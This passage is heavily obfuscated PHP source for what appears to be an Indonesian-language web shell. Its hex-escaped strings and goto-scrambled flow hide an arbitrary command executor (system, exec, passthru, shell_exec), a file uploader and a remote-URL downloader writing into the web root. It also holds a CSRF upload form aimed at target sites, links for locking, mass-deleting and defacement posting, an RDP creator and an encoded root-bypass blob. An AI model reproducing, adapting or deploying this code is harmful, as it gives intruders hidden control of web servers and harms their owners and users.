64\x79\x70\x65\x3d\x27\164\x65\170\164\47\x20\x6e\x61\155\145\75\47\x72\137\x75\x73\145\x72\x27\40\160\154\x61\x63\145\150\x6f\x6c\144\x65\162\75\47\165\163\145\162\156\141\155\145\47\40\143\x6c\141\163\163\75\x27\165\160\x27\x20\163\x74\171\x6c\x65\75\47\x77\x69\x64\164\x68\72\40\x32\60\60\x70\170\x3b\x20\143\165\x72\163\157\x72\72\x20\160\x6f\151\156\164\x65\x72\73\x20\x62\x6f\x72\144\145\162\55\143\x6f\154\157\162\x3a\x20\x23\x66\x66\x66\x27\40\x72\x65\161\165\x69\x72\x65\144\x3e\12\x20\x20\x20\40\x20\40\x3c\x73\x65\x6c\145\143\x74\40\x6e\141\155\145\x3d\x27\x6f\160\x73\x69\x27\x20\163\x74\171\154\145\x3d\x27\x62\x6f\162\x64\145\162\x2d\x63\157\154\x6f\162\x3a\40\43\x66\146\x66\47\x3e\12\40\x20\x20\40\40\x20\74\x6f\160\164\x69\157\156\x20\166\x61\154\165\145\75\x27\x31\47\76\x43\145\153\x20\125\163\145\x72\156\141\x6d\x65\x3c\x2f\157\160\164\x69\157\x6e\76\xa\40\40\x20\x20\x20\40\74\x6f\x70\164\x69\157\x6e\x20\x76\x61\x6c\x75\x65\x3d\47\62\x27\x3e\x55\x62\x61\150\40\x50\141\163\x73\x77\x6f\162\x64\74\x2f\157\x70\x74\x69\x6f\x6e\76\12\40\x20\40\40\40\40\74\x6f\x70\x74\x69\x6f\156\x20\166\x61\154\165\145\x3d\x27\63\x27\x3e\x48\141\160\x75\x73\x20\x55\x73\x65\x72\156\141\155\x65\x3c\57\x6f\160\x74\x69\x6f\x6e\x3e\12\x20\x20\40\40\40\x20\74\x2f\163\145\x6c\x65\143\164\76\12\x20\40\40\40\x20\40\74\x69\x6e\160\x75\x74\40\164\x79\x70\x65\75\47\x73\x75\142\x6d\151\x74\47\40\156\141\155\x65\75\x27\163\137\157\x70\x73\151\x27\40\166\141\x6c\165\x65\x3d\47\x3d\x3e\76\47\76\xa\40\x20\x20\x20\x20\x20\74\57\x66\157\x72\x6d\76\xa\40\40\40\x20\40\40\x3c\57\144\x69\166\76\12\x20\40\40\40\40\x20\x3c\x2f\144\x69\x76\x3e\74\x62\162\76\12\40\40\40\x20\40\x20"; } } else { echo "\x3c\143\x65\x6e\164\145\x72\76\x3c\x66\x6f\x6e\164\40\143\x6f\x6c\x6f\162\75\x72\145\144\76\x49\x44\x20\75\40\106\x69\x74\165\x72\x20\x69\156\x69\x20\x68\141\156\x79\x61\40\144\141\x70\x61\164\40\x64\x69\147\x75\x6e\141\153\141\x6e\x20\144\x61\x6c\x61\x6d\x20\127\151\x6e\x64\157\x77\163\40\123\x65\x72\x76\145\162\40\131\x61\x20\x47\x61\151\163\41\x3c\142\162\x3e\x45\116\40\x3d\40\124\150\x69\163\40\146\145\x61\x74\165\x72\145\40\143\x61\156\x20\157\156\x6c\171\40\x62\145\x20\165\x73\x65\x64\x20\151\x6e\40\x57\x69\x6e\x64\x6f\x77\163\40\x53\x65\162\x76\145\x72\56\x20\131\145\x73\x20\107\165\171\163\x20\41\74\x2f\x66\157\x6e\x74\x3e\x3c\x2f\x63\145\156\164\145\162\x3e"; } } elseif (isset($_GET["\x63\163\162\x66\x75\160"])) { echo "\x3c\x68\x74\155\x6c\76\74\142\162\x3e\12\11\x3c\143\x65\x6e\x74\145\x72\x3e\x3c\146\x6f\x6e\164\x20\163\151\x7a\x65\75\x22\x32\65\x70\170\x22\x3e\103\x53\x52\x46\40\x55\160\x6c\157\x61\144\x65\x72\x3c\x2f\146\157\x6e\x74\76\74\142\162\x3e\74\142\x72\76\12\40\40\40\40\x3c\x66\157\x6e\x74\40\163\151\172\x65\x3d\42\63\42\x3e\52\116\157\164\145\x20\72\x20\x50\157\x73\164\x20\x46\x69\154\x65\54\x20\124\x79\160\145\x20\72\x20\106\151\x6c\x65\x64\141\x74\x61\40\57\x20\144\172\x75\x70\x6c\157\x61\144\x20\57\40\144\x7a\x66\x69\x6c\145\x20\57\x20\x64\x7a\146\151\154\145\x73\40\x2f\x20\x66\151\x6c\145\40\x2f\40\x61\152\141\170\x66\x75\x70\x20\57\x20\x66\x69\154\145\163\133\135\40\57\40\x71\x71\x66\x69\154\x65\40\57\40\165\x73\145\162\x66\151\x6c\x65\40\57\x20\145\x74\x63\74\57\146\157\156\164\x3e\xa\x9\x3c\x62\x72\x3e\74\142\x72\x3e\xa\11\x3c\146\157\162\155\x20\155\145\164\150\x6f\144\x3d\42\160\x6f\163\164\42\x20\x73\164\x79\x6c\x65\x3d\42\x66\x6f\156\x74\x2d\163\x69\172\145\x3a\x32\65\x70\x78\73\42\x3e\12\x9\x55\x52\114\x3a\x20\x3c\151\156\160\165\164\x20\164\x79\x70\x65\75\42\164\145\170\164\42\40\156\141\155\x65\75\42\165\162\154\x22\x20\163\x69\x7a\x65\x3d\x22\65\x30\42\x20\150\x65\x69\147\150\x74\75\x22\x31\x30\x22\40\x70\154\141\143\x65\x68\157\x6c\144\145\x72\75\x22\150\164\164\x70\72\x2f\57\x77\x77\x77\56\x74\x61\x72\147\x65\x74\56\x63\x6f\x6d\57\160\141\x74\150\x2f\x75\160\x6c\x6f\x61\144\56\160\x68\160\x22\40\143\x6c\x61\163\x73\x3d\42\x75\x70\42\x20\163\164\x79\154\145\75\42\x77\x69\144\x74\150\x3a\40\64\x35\x30\x70\x78\73\40\x63\165\x72\163\x6f\162\72\x20\x70\x6f\x69\x6e\x74\x65\162\x3b\x20\x62\x6f\x72\x64\145\x72\55\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x66\146\146\42\x20\162\145\x71\165\151\x72\x65\144\x3e\x3c\x62\162\x3e\12\x9\x50\117\x53\x54\40\x46\x69\x6c\x65\72\x20\74\151\x6e\160\x75\x74\40\x74\171\160\x65\75\42\164\145\170\164\x22\40\156\x61\155\145\75\42\x70\146\42\40\163\151\x7a\x65\x3d\x22\x35\x30\42\40\x68\145\x69\x67\x68\x74\75\42\x31\x30\42\x20\x70\x6c\141\143\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4c\151\150\141\x74\x20\x64\x69\141\164\x61\163\x20\136\x22\x20\x63\154\141\163\163\75\x22\x75\160\x22\x20\x73\x74\x79\154\145\75\x22\x77\x69\x64\164\x68\x3a\40\64\65\60\160\x78\73\x20\x63\x75\x72\163\157\x72\72\40\x70\157\151\x6e\164\x65\x72\73\x20\x62\x6f\162\x64\x65\162\55\x63\x6f\154\x6f\x72\x3a\40\x23\146\x66\146\42\40\x72\145\x71\x75\x69\x72\x65\x64\x3e\x3c\142\x72\x3e\xa\x9\74\x69\x6e\160\x75\164\x20\x74\171\160\x65\75\x22\x73\x75\x62\155\x69\164\42\x20\156\141\155\x65\x3d\x22\x64\42\40\166\141\154\x75\x65\75\x22\x4c\x6f\143\x6b\41\x22\x3e\12\x9\74\x2f\146\x6f\162\155\x3e\74\x2f\x63\x65\156\x74\145\x72\76\x3c\142\162\x3e"; if (isset($_POST["\165\162\x6c"])) { $url = $_POST["\x75\162\154"]; $pf = $_POST["\x70\x66"]; $d = $_POST["\x64"]; } if (isset($d)) { echo "\74\143\x65\156\164\x65\x72\x3e\x3c\146\x6f\x72\x6d\40\155\145\x74\x68\157\x64\75\47\x70\x6f\163\164\47\x20\x74\x61\x72\147\x65\164\x3d\47\137\142\154\141\156\153\47\40\141\143\x74\151\x6f\x6e\x3d\47{$url}\47\40\x65\156\143\x74\x79\160\x65\x3d\x27\155\165\x6c\x74\x69\160\x61\162\164\57\x66\157\162\x6d\55\144\x61\164\141\47\x3e\74\x69\156\x70\x75\x74\40\x74\171\x70\x65\x3d\x27\146\151\x6c\145\x27\x20\163\164\171\x6c\x65\x3d\47\x62\x6f\x72\x64\x65\x72\x2d\x63\157\x6c\x6f\x72\72\x20\43\x66\146\x66\x27\40\156\x61\155\145\75\x27{$pf}\47\76\40\74\x69\x6e\x70\x75\x74\x20\164\x79\160\x65\75\47\163\x75\142\155\151\164\x27\40\x6e\x61\155\x65\x3d\47\x67\x27\x20\166\141\x6c\165\x65\x3d\x27\x55\160\x6c\x6f\x61\144\x27\76\x3c\57\x66\x6f\x72\x6d\x3e\74\x2f\x66\157\162\x6d\x3e\74\x2f\143\x65\x6e\164\145\x72\x3e\74\142\x72\x3e\12\11\x9\74\x2f\150\164\155\154\76"; } } goto lIOqg; B1oFD: if (isset($_POST["\x75\x70\167\153\x77\153"])) { if ($_POST["\x64\x69\x72\156\x79\141"] == "\x32") { $lokasi = $_SERVER["\104\x4f\103\x55\x4d\x45\116\124\137\122\117\x4f\124"]; } if (isset($_POST["\x62\145\x72\x6b\x61\x73\x6e\171\141"])) { $data = @file_put_contents($lokasi . "\x2f" . $_FILES["\142\145\162\x6b\141\163"]["\x6e\141\x6d\x65"], @file_get_contents($_FILES["\142\x65\x72\153\141\163"]["\x74\x6d\x70\x5f\156\141\x6d\145"])); if (file_exists($lokasi . "\x2f" . $_FILES["\x62\x65\162\153\x61\x73"]["\156\x61\x6d\145"])) { echo "\106\x69\x6c\x65\40\x55\160\x6c\157\x61\144\145\x64\x20\x21\x20\46\x6e\x62\163\x70\73\x3c\x66\157\156\164\40\143\x6f\154\157\162\75\47\x67\x6f\154\144\x27\76\74\x69\x3e" . $lokasi . "\57" . $_FILES["\142\145\162\153\x61\x73"]["\156\x61\x6d\145"] . "\74\x2f\x69\x3e\74\x2f\146\x6f\x6e\164\x3e\x3c\142\x72\x3e\x3c\x62\162\76"; } else { echo "\74\146\x6f\156\164\40\143\157\154\157\162\x3d\x27\162\145\144\47\76\106\141\x69\154\145\144\40\x74\157\x20\125\x70\154\157\141\x64\40\x21\74\142\162\76\x3c\x62\x72\76"; } } elseif (isset($_POST["\154\151\x6e\x6b\156\x79\141"])) { if (empty($_POST["\x6e\141\x6d\x61\x6c\x69\156\x6b"])) { die("\106\151\x6c\x65\156\x61\155\x65\x20\143\141\156\x6e\157\164\40\x62\x65\40\145\x6d\x70\164\x79\x20\41"); } if ($_POST["\x64\x69\162\x6e\x79\141"] == "\62") { $lokasi = $_SERVER["\x44\x4f\103\125\x4d\105\x4e\x54\137\x52\x4f\x4f\124"]; } $data = @file_put_contents($lokasi . "\x2f" . $_POST["\x6e\141\x6d\141\x6c\151\x6e\153"], @file_get_contents($_POST["\x64\x61\x72\151\x6c\151\x6e\x6b"])); if (file_exists($lokasi . "\x2f" . $_POST["\x6e\141\155\x61\154\x69\x6e\153"])) { echo "\x46\151\154\145\40\125\160\154\x6f\141\144\x65\144\40\x21\40\46\x6e\142\163\x70\73\74\146\157\156\164\40\x63\x6f\x6c\157\162\75\x27\147\157\154\144\47\76\74\151\76" . $lokasi . "\57" . $_POST["\156\141\155\141\x6c\x69\156\153"] . "\74\57\x69\x3e\74\57\146\157\156\x74\x3e\74\x62\x72\76\x3c\142\x72\76"; } else { echo "\x3c\x66\x6f\156\x74\40\143\157\x6c\x6f\145\75\x27\x72\x65\x64\x27\x3e\106\141\x69\154\x65\x64\40\164\x6f\40\x55\160\154\157\141\x64\40\41\74\142\x72\x3e\x3c\142\162\x3e"; } } elseif (isset($_POST["\x62\x65\x70\141\163"])) { $bepasdata = $_POST["\142\x65\160\x61\163\x64\x61\164\141"]; $bepasnama = $_POST["\x62\x65\x70\x61\x73\156\x61\155\x61"]; if ($bepasdata) { echo "\163\x74\x72\x69\x6e\x67"; } @file_put_contents($lokasi . "\x2f" . $bepasnama, $bepasdata); if (file_exists($lokasi . "\57" . $bepasnama)) { echo "\106\151\154\x65\x20\x55\x70\154\x6f\x61\144\x65\x64\x20\x21\x20\x26\x6e\x62\x73\160\73\x3c\x66\157\x6e\x74\x20\143\157\x6c\x6f\x72\x3d\47\147\x6f\154\144\47\76\x3c\x69\76" . $lokasi . "\57" . $bepasnama . "\74\x2f\151\76\74\57\x66\157\x6e\164\x3e\74\142\162\76\74\x62\162\76"; } else { echo "\x3c\x66\x6f\156\164\x20\x63\157\154\x6f\145\x3d\47\162\x65\144\47\76\x46\141\x69\x6c\145\x64\x20\x74\157\40\x55\160\154\157\141\144\40\41\74\142\162\76\x3c\142\x72\76"; } } } goto LpJr3; Dtjhn: echo "\74\141\x20\x63\x6c\141\x73\x73\75\42\x64\x65\x73\x74\162\x6f\171\x5f\164\141\142\x6c\145\42\x20\x68\162\x65\146\x3d\x22\77\160\x61\x74\150\75" . $lokasi . "\x26\x6c\157\x63\x6b\163\x68\x65\x6c\x6c\x3d\x68\x65\x61\x64\163\150\157\157\164\42\x3e\74\151\40\x63\x6c\141\x73\163\x3d\42\x66\141\163\40\146\x61\x2d\154\x6f\143\153\x22\76\74\x2f\151\76\46\156\x62\163\160\x3b\x4c\x6f\143\x6b\x20\x53\150\145\154\x6c\x3c\x2f\141\76"; goto UeoyL; NJYLE: echo "\x3c\x61\40\x63\x6c\141\163\x73\x3d\42\x64\145\163\164\x72\157\171\137\x74\141\142\x6c\145\x22\40\150\162\x65\x66\x3d\42\x3f\160\x61\x74\150\75" . $lokasi . "\x26\x6d\x61\163\x73\x64\145\x6c\x65\164\145\75\x68\145\x61\x64\x73\x68\x6f\x6f\x74\x22\x3e\74\151\x20\143\154\x61\163\163\75\42\x66\141\163\40\146\141\55\x74\162\x61\163\150\55\x61\154\x74\42\76\x3c\x2f\x69\76\46\x6e\x62\x73\160\73\x4d\141\163\x73\40\x44\145\154\x65\164\x65\x3c\x2f\141\76"; goto SqmYD; o5GuK: $sub = "\163\x75\142\x73" . "\164\162"; goto wm8VQ; a6132: $chm = "\143\150" . "\155" . "\157\144"; goto E0FxW; T1npO: $rd = "\x72" . "\x6f\x75" . "\x6e\x64"; goto wtNyg; FI5oJ: if (file_exists("\57\165\x73\x72\57\x62\151\x6e\x2f\x70\171\x74\150\x6f\x6e\x32")) { echo "\74\146\x6f\x6e\164\40\x63\x6f\154\x6f\x72\x3d\147\x72\x65\x65\156\x3e\x4f\116\74\x2f\x66\157\x6e\164\76"; } else { echo "\74\146\157\156\164\40\x63\x6f\x6c\157\x72\75\162\145\x64\x3e\x4f\x46\106\x3c\57\x66\x6f\156\x74\x3e"; } goto K59SJ; Sy2Nn: $sts = "\163" . "\164\162\151\160" . "\163\x6c\141\x73\x68" . "\145\163"; goto zZT6g; OdrQY: function cekwrite($lokasi) { $izin = substr(sprintf("\45\x6f", fileperms($lokasi)), -4); if (is_writable($lokasi)) { return "\74\x66\157\x6e\x74\x20\143\157\154\157\x72\75\147\x72\x65\145\x6e\x3e" . $izin . "\74\57\146\157\156\x74\x3e"; } else { return "\74\146\157\x6e\x74\40\143\157\154\x6f\162\75\x72\145\144\76" . $izin . "\x3c\x2f\x66\157\x6e\x74\76"; } } goto fHa7N; KMLsg: $srl = "\x73\164" . "\x72\x5f\x72" . "\145\x70" . "\154\x61" . "\143\145"; goto pWNY4; M172M: function statusnya($file) { $izin = substr(sprintf("\x25\x6f", fileperms($file)), -4); return $izin; } goto ScuEY; E5N6B: $ifi = "\151" . "\163\137\x66\x69" . "\x6c\145"; goto o5GuK; gQReF: if ($isw($euybrekw)) { echo "\74\x66\x6f\x6e\x74\40\x63\157\x6c\x6f\x72\75\42\x67\x72\x65\145\x6e\x22\76"; } elseif (!$isr($euybrekw)) { echo "\x3c\146\x6f\x6e\164\40\x63\x6f\x6c\x6f\x72\x3d\42\162\145\x64\x22\76"; } goto e5iX1; DvHE_: $ird = "\151\163" . "\x5f\162\145\141" . "\144\x61" . "\142\x6c\145"; goto mCni8; UeoyL: echo "\x3c\x61\x20\143\x6c\x61\x73\x73\75\x22\144\145\x73\164\x72\x6f\171\x5f\x74\x61\142\154\145\x22\x20\x68\x72\x65\146\75\42\x3f\160\x61\164\150\x3d" . $lokasi . "\46\141\156\x74\151\x6b\x69\x6c\154\163\x68\x65\x6c\x6c\x3d\150\x65\x61\144\163\x68\x6f\x6f\164\42\x3e\x3c\x69\x20\x63\x6c\x61\163\163\75\x22\146\x61\x73\40\146\141\55\154\157\x63\153\42\x3e\74\x2f\x69\x3e\46\156\x62\x73\160\73\x41\156\x74\151\x20\x44\145\x6c\x65\x74\145\40\123\150\145\154\154\74\57\x61\76"; goto zmjIK; m7OOJ: echo "\120\110\x50\x20\126\145\x72\163\151\157\156\40\x3a\x20\x3c\x66\157\156\x74\x20\143\157\154\x6f\162\75\47\x67\x6f\154\144\47\x3e" . @phpversion() . "\x3c\x2f\146\157\x6e\164\76\74\x62\162\76"; goto BHQD_; aLxFY: $fnct = "\x66\x75" . "\156\143" . "\164\151\157\x6e" . "\137\x65\x78\x69" . "\x73\164\x73"; goto RyRkz; uXLCq: if (function_exists("\x63\x75\x72\x6c\x5f\151\x6e\151\x74")) { echo "\74\x66\x6f\x6e\164\40\x63\157\x6c\157\x72\75\147\162\x65\145\x6e\x3e\x4f\116\x3c\57\146\x6f\156\x74\76"; } else { echo "\x3c\146\157\156\x74\40\143\x6f\x6c\x6f\x72\75\x72\145\144\76\117\106\x46\x3c\57\146\x6f\156\x74\x3e"; } goto JwZiV; zZT6g: $scd = "\x73\143" . "\141" . "\x6e\144" . "\x69\162"; goto rTGrb; r3ubz: if (file_exists("\x2f\165\x73\162\57\142\151\x6e\57\x77\147\x65\x74")) { echo "\x3c\146\157\156\x74\40\143\157\154\x6f\x72\x3d\147\x72\145\x65\156\x3e\x4f\116\74\x2f\x66\x6f\x6e\x74\76"; } else { echo "\x3c\146\x6f\x6e\x74\x20\143\157\x6c\157\x72\x3d\x72\x65\x64\76\117\106\x46\x3c\57\x66\157\156\x74\x3e"; } goto K15ms; gQcC8: $lokasinya = @scandir($lokasi); goto Jketo; vesdy: ini_set("\144\151\163\x70\154\141\171\137\x65\162\x72\157\x72\x73", 1); goto z5F0D; A0cMJ: function exe($cmd) { if (function_exists("\163\171\163\164\x65\155")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\145\170\x65\x63")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("\160\x61\x73\x73\164\x68\162\x75")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\163\x68\x65\x6c\154\137\x65\x78\x65\143")) { $buff = @shell_exec($cmd); return $buff; } } goto usZaD; jEwWG: $bypass_root = "\x77\111\101\x6f\156\153\x41\x4f\x54\125\x33\x73\x4b\57\124\61\x4f\167\156\117\172\x42\x30\171\166\x71\x59\x6e\x6a\x7a\142\x61\101\x67\164\172\x70\113\x73\x77\x75\157\x4c\132\x30\71\x31\127\132\172\156\155\146\x2b\x35\x5a\x7a\x67\x45\106\110\x4f\x4f\70\x58\101\x64\x64\x45\x4d\71\x58\x58\x6e\x59\x74\x62\62\70\53\x2b\x54\151\70\x4e\x2b\x4c\x61\102\127\x41\131\131\152\x75\x53\x79\x65\102\x4b\x37\x35\x6a\x35\x42\x33\x43\172\x54\70\x66\120\165\x6d\x37\151\146\x62\x45\62\156\x50\104\x53\124\130\x78\x42\x6e\x6f\x5a\x42\164\106\112\114\x35\x67\x55\60\x62\x63\123\130\102\127\160\113\147\161\x61\x76\67\x53\153\x2b\131\171\53\x34\113\x4d\165\x6a\x56\x73\x73\157\121\105\115\106\x6d\112\65\155\162\x4a\x67\x7a\x69\x79\166\114\x59\105\107\155\x75\104\x4b\157\105\x69\x43\x35\160\150\x38\x2b\157\146\65\x52\157\x75\x51\167\x68\143\60\103\x69\x50\x35\67\x2f\126\107\167\x4f\63\x70\x65\x31\163\153\x41\x75\131\105\x57\x55\x38\x71\x52\x67\x69\x47\152\x79\143\x47\153\x74\172\111\x41\104\152\x35\x46\62\122\113\102\x56\x2b\105\146\x7a\x58\132\141\145\147\167\x65\x6c\101\x6c\x36\152\167\x77\142\114\x45\x32\x35\x55\x64\64\x37\x4d\113\x41\131\124\157\x52\x4c\170\154\x4f\x56\x64\117\x4e\x69\x79\101\147\x79\x33\x4b\145\x49\104\71\x75\x72\x4a\113\124\124\150\x63\x74\126\164\x49\147\122\66\x55\71\150\122\60\124\x59\162\105\x6b\x44\141\x6a\x70\x30\x43\156\x45\66\103\x4e\x78\x6c\x76\x34\115\x6b\x4e\x30\x62\x38\x36\x45\116\127\121\115\x36\116\105\60\103\x6e\107\122\164\125\121\x5a\x68\x50\x49\x4d\143\x44\62\120\x52\127\x56\71\147\x64\63\106\170\x50\x47\x5a\x50\x6d\145\x63\x4f\x4e\126\144\x4f\71\60\x62\171\x49\x41\x4d\63\104\102\x50\104\53\x75\105\65\x47\x76\71\151\171\63\x44\x45\64\x59\x6d\x62\163\127\x47\127\x54\x58\x76\117\154\172\x42\141\151\171\67\57\x2b\x2f\121\154\70\116\x2f\x62\156\x61\x4f\154\x39\111\x33\166\x67\x38\122\x55\x75\112\x42\x53\x4e\64\x6e\132\x7a\x43\x62\x32\127\x49\x32\x43\154\x6d\163\x75\x6f\120\x6a\x35\x74\x4a\x49\x38\167\x64\x38\61\x62\x5a\x6b\144\x70\x69\x77\x68\60\x32\x34\130\130\x4f\x4d\x74\x78\x65\126\151\125\105\x37\x4b\153\x52\x79\x4b\71\x56\x74\165\101\x55\115\66\111\x4c\x37\x4f\125\116\106\x65\x6c\160\x63\x65\x6e\x52\x53\x4d\x57\x55\102\53\144\x68\71\71\172\110\x45\103\146\130\x4e\117\x52\143\x55\x35\x53\x42\x6d\107\x4d\171\x46\63\61\102\167\110\x31\102\125\63\x37\113\162\x54\x55\152\x63\141\x50\166\x70\x58\x4b\152\x72\x61\113\155\53\x65\x35\x47\x6f\x68\x62\121\111\x70\117\x61\144\160\x63\x64\131\x57\x63\161\x50\101\x73\x5a\x75\64\115\130\x71\172\x4b\x72\x68\x71\x30\x5a\x56\x66\x54\x6e\60\x51\x36\151\x4f\x67\x55\x37\115\167\x4d\x5a\61\131\x51\126\x48\x68\x6a\x4c\163\x62\x67\x56\x77\x52\131\x6d\130\x4b\x79\106\155\x32\156\x41\106\113\x67\x46\61\x31\107\113\x61\144\x6d\105\62\x4a\146\x6b\x50\152\x46\x63\x51\161\143\132\66\x55\x36\167\132\x44\146\127\70\160\x6d\x6c\163\x54\170\156\162\61\x71\x6e\162\x75\x39\63\115\154\53\157\x75\130\57\x7a\64\x46\114\x45\110\x6c\172\x2f\x37\125\x59\164\x4a\141\x63\x54\156\62\x65\x61\x52\x76\107\x7a\144\x63\153\165\172\143\117\x57\114\x2b\111\63\x7a\x39\171\64\x49\67\161\112\x6e\x69\x4a\103\x42\x6a\164\x65\x2b\x35\x48\x43\x5a\x72\150\x68\120\x4b\x78\115\124\x55\x32\x42\141\x54\x67\x36\141\x65\x2f\126\x46\172\x49\60\161\x64\130\x7a\61\x49\x57\x36\111\171\170\x65\143\102\x37\x37\165\x63\x4a\x35\x36\123\160\162\171\143\x51\x2b\151\160\x41\122\164\x64\156\x30\x6e\x72\x4c\x76\172\64\142\127\x2b\150\x78\x73\x72\145\145\164\x45\132\145\103\x2b\106\120\167\x74\x69\67\x73\152\122\x3d"; goto MVaRk; dOhM1: echo "\x3c\141\40\143\154\x61\163\x73\75\x22\144\x65\163\x74\x72\x6f\171\x5f\x74\141\x62\x6c\145\42\x20\x68\x72\145\x66\75\x22\x3f\160\x61\x74\150\75" . $lokasi . "\x26\172\157\156\145\150\x3d\x68\x65\141\144\163\150\157\157\x74\x22\76\x3c\151\40\x63\154\141\x73\163\75\x22\x66\141\x73\40\x66\141\55\x74\x68\145\x61\164\x65\162\x2d\x6d\141\163\x6b\x73\x22\76\x3c\x2f\151\x3e\46\x6e\x62\163\x70\73\x5a\x6f\156\x65\55\110\74\57\x61\76"; goto UHequ; SfLkK: echo "\x3c\x64\151\166\x20\143\154\x61\163\x73\x3d\42\x64\x2d\x66\x6c\x65\x78\x20\x6a\165\x73\x74\151\146\x79\x2d\x63\157\156\x74\145\x6e\x74\55\x63\x65\156\164\145\162\40\146\154\x65\170\55\167\162\141\160\x22\x20\141\154\x69\x67\156\75\x22\143\x65\x6e\164\145\162\x22\76"; goto ROUPh; qMfEO: echo "\x3c\141\40\x63\x6c\141\163\x73\75\x22\144\145\x73\x74\162\157\171\137\164\141\142\x6c\x65\42\x20\x68\162\145\x66\x3d\42\77\x70\141\x74\x68\75" . $lokasi . "\x26\143\x72\145\x61\x74\145\x72\144\x70\75\x68\x65\x61\144\163\x68\x6f\x6f\x74\x22\x3e\74\151\x20\143\154\x61\163\163\75\42\146\x61\x73\x20\x66\141\55\x6c\141\160\x74\x6f\160\x2d\150\x6f\165\x73\x65\42\76\x3c\x2f\x69\x3e\46\156\x62\163\x70\x3b\103\162\x65\141\164\145\x20\x52\x64\160\74\57\x61\76"; goto LSJjQ; fqj3p: if (file_exists("\57\x75\163\x72\x2f\142\x69\156\x2f\x70\145\x72\154")) { echo "\x3c\146\157\x6e\164\x20\143\157\x6c\x6f\x72\x3d\x67\x72\x65\x65\x6e\x3e\117\116\74\57\146\157\156\164\x3e"; } else { echo "\74\x66\157\x6e\164\x20\x63\x6f\154\x6f\162\75\162\145\144\x3e\117\106\106\74\x2f\x66\x6f\x6e\x74\76"; } goto kyL3_; kdzPb: echo "\74\141\x20\143\154\x61\x73\x73\75\42\144\145\x73\x74\162\x6f\171\x5f\x74\x61\x62\x6c\145\x22\40\150\162\145\146\x3d\42\77\160\x61\x74\150\x3d" . $lokasi . "\46\x61\x62\157\x75\164\75\150\x65\141\x64\x73\150\x6f\x6f\x74\42\76\x3c\x69\x20\143\154\141\x73\163\x3d\42\146\x61\163\40\146\x61\55\151\x6e\146\x6f\42\x3e\74\x2f\151\76\x26\x6e\x62\x73\x70\x3b\101\x62\x6f\165\x74\40\115\145\x3c\x2f\141\x3e"; goto mzgWT; fSh9Y: echo "\x3c\57\164\144\76\74\x2f\x74\x72\x3e\74\164\162\76\74\x74\144\x3e"; goto B1oFD; mzgWT: echo "\74\x61\x20\x63\x6c\141\163\163\75\42\x64\145\163\x74\162\157\171\137\164\x61\142\154\x65\x22\40\150\162\145\146\x3d\42\x3f\x70\141\164\150\75" . $lokasi . "\46\x6b\151\x6c\154\75\x68\x65\141\x64\x73\x68\157\157\164\42\76\x3c\x69\x20\143\154\141\163\x73\x3d\42\146\x61\163\x20\146\141\55\x73\153\x75\154\154\42\76\74\x2f\151\x3e\46\156\x62\x73\160\x3b\122\x65\x6d\157\x76\x65\x20\123\x68\x65\154\154\x3c\x2f\x61\x3e"; goto h8OHw; kyhLX: function gor($fl) { $a = "\x66\x75\156" . "\143\164\x69" . "\x6f\x6e\x5f" . "\145\x78\151\x73" . "\x74\x73"; $b = "\x70\x6f" . "\163" . "\151\170\137" . "\x67\145\164" . "\x70\x77\x75" . "\151\144"; $c = "\x66\x69" . "\x6c\x65" . "\157" . "\167\x6e" . "\145\x72"; if ($a($b)) { if (!$a($c)) { return "\77"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "\x3f"; } else { return $e; } } else { return $d["\x6e\141\x6d\x65"]; } } elseif ($a($c)) { return $c($fl); } else { return "\77"; } } goto uW31K; hElda: function ambilKata($param, $kata1, $kata2) { if (strpos($param, $kata1) === FALSE) { return FALSE; } if (strpos($param, $kata2) === FALSE) { return FALSE; } $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } goto OdrQY; u2Drw: echo "\74\141\x20\x63\x6c\x61\x73\x73\x3d\42\144\145\x73\x74\162\157\x79\x5f\x74\141\x62\154\145\42\x20\x68\x72\145\146\x3d\x22\77\160\141\x74\150\x3d" . $lokasi . "\46\160\x68\160\155\x61\x69\x6c\145\162\x3d\x68\x65\x61\144\x73\150\157\x6f\x74\x22\x3e\74\151\40\143\154\x61\x73\x73\75\42\146\x61\163\x20\x66\x61\55\x65\x6e\166\x65\154\157\160\x65\42\x3e\74\57\x69\x3e\x26\156\142\x73\x70\73\x4d\x61\151\x6c\x65\162\40\74\57\x61\76"; goto z1jI2; pWNY4: $sps = "\163\164" . "\162\160" . "\x6f\163"; goto zYney; Tudk2: echo "\74\164\162\x3e"; goto xnKOj; K15ms: echo "\x20\x26\x6e\142\163\160\x3b\x7c\46\x6e\142\163\160\73\x20\120\x65\x72\x6c\x20\x3a\40"; goto fqj3p; zYney: $mkd = "\155" . "\x6b\x64" . "\x69\x72"; goto Frj1p; iYqNm: function cekfile($file) { return "\x3c\151\x20\143\x6c\141\x73\x73\75\42\x66\141\x20\146\x61\x2d\x66\x69\154\x65\42\x20\163\164\171\x6c\x65\75\42\x63\x6f\154\x6f\x72\72\40\x23\x64\x36\144\64\x63\145\42\76\74\x2f\151\76\40"; } goto aPXjj; V3Qkr: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "\x3c\141\40\x68\x72\x65\x66\x3d\x22\x3f\160\x61\x74\x68\75\x2f\42\x3e\57\74\57\141\x3e"; continue; } if ($lok == '') { continue; } echo "\74\x61\x20\x68\x72\145\146\x3d\x22\77\x70\141\x74\150\75"; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "\x2f"; } } echo "\42\76" . $lok . "\74\x2f\141\x3e\57"; } goto fSh9Y; aPXjj: function filedate($file) { return date("\106\40\144\x20\131\x20\147\x3a\151\x3a\163", filemtime($file)); } goto vKzed; xO4gP: author(); goto M172M; wm8VQ: $spr = "\163\x70" . "\162\151" . "\x6e\x74\146"; goto GB8gY; BHQD_: echo "\x44\151\x73\x61\142\154\145\40\106\165\156\x63\164\151\x6f\x6e\x20\72\x20" . $disf . "\74\57\146\x6f\156\x74\x3e\74\x62\x72\76"; goto PkrsF; FrfAB: $ulk = "\x75\156" . "\x6c\x69" . "\156\153"; 